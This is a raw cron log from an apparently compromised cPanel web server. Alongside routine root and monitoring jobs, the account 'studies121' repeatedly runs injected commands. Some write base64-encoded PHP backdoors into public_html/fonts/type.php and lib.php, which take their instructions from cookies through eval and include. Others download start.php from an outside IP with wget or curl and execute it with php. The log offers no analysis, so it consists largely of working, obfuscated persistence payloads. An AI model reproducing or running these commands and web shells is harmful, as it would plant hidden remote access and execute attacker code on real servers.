Sep 12 07:43:01 ip-184-168-122-23 CROND[20832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:43:01 ip-184-168-122-23 CROND[20833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:43:01 ip-184-168-122-23 CROND[20831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:44:01 ip-184-168-122-23 CROND[21029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:44:01 ip-184-168-122-23 CROND[21031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:44:01 ip-184-168-122-23 CROND[21030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:44:01 ip-184-168-122-23 CROND[21032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:44:01 ip-184-168-122-23 CROND[21033]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:45:01 ip-184-168-122-23 CROND[21135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:45:01 ip-184-168-122-23 CROND[21136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:45:01 ip-184-168-122-23 CROND[21139]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:45:01 ip-184-168-122-23 CROND[21138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:45:01 ip-184-168-122-23 CROND[21140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:45:01 ip-184-168-122-23 CROND[21143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:46:01 ip-184-168-122-23 CROND[21264]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:46:01 ip-184-168-122-23 CROND[21265]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 07:46:01 ip-184-168-122-23 CROND[21270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:46:01 ip-184-168-122-23 CROND[21271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:46:01 ip-184-168-122-23 CROND[21268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:46:01 ip-184-168-122-23 CROND[21267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:46:01 ip-184-168-122-23 CROND[21269]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 07:47:01 ip-184-168-122-23 CROND[21398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:47:01 ip-184-168-122-23 CROND[21399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:47:01 ip-184-168-122-23 CROND[21400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:47:01 ip-184-168-122-23 CROND[21401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:48:01 ip-184-168-122-23 CROND[21513]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:48:01 ip-184-168-122-23 CROND[21517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:48:01 ip-184-168-122-23 CROND[21516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:48:02 ip-184-168-122-23 CROND[21518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:48:02 ip-184-168-122-23 CROND[21522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:49:01 ip-184-168-122-23 CROND[21713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:49:01 ip-184-168-122-23 CROND[21714]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 07:49:01 ip-184-168-122-23 CROND[21716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:49:01 ip-184-168-122-23 CROND[21718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:49:01 ip-184-168-122-23 CROND[21721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:50:01 ip-184-168-122-23 CROND[21834]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 07:50:01 ip-184-168-122-23 CROND[21835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:50:01 ip-184-168-122-23 CROND[21838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:50:01 ip-184-168-122-23 CROND[21839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:50:01 ip-184-168-122-23 CROND[21842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:50:01 ip-184-168-122-23 CROND[21844]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:50:01 ip-184-168-122-23 CROND[21845]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:50:01 ip-184-168-122-23 CROND[21843]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 07:50:01 ip-184-168-122-23 CROND[21841]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:51:02 ip-184-168-122-23 CROND[21997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:51:02 ip-184-168-122-23 CROND[21998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:51:02 ip-184-168-122-23 CROND[22000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:51:02 ip-184-168-122-23 CROND[22001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:52:01 ip-184-168-122-23 CROND[22083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:52:01 ip-184-168-122-23 CROND[22085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:52:01 ip-184-168-122-23 CROND[22086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:52:01 ip-184-168-122-23 CROND[22087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:52:01 ip-184-168-122-23 CROND[22088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:53:02 ip-184-168-122-23 CROND[22197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:53:02 ip-184-168-122-23 CROND[22200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:53:02 ip-184-168-122-23 CROND[22199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:53:02 ip-184-168-122-23 CROND[22201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:54:01 ip-184-168-122-23 CROND[22386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:54:01 ip-184-168-122-23 CROND[22389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:54:01 ip-184-168-122-23 CROND[22390]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:54:01 ip-184-168-122-23 CROND[22388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:54:01 ip-184-168-122-23 CROND[22392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:55:01 ip-184-168-122-23 CROND[22485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:55:01 ip-184-168-122-23 CROND[22488]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:55:01 ip-184-168-122-23 CROND[22493]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:55:01 ip-184-168-122-23 CROND[22492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
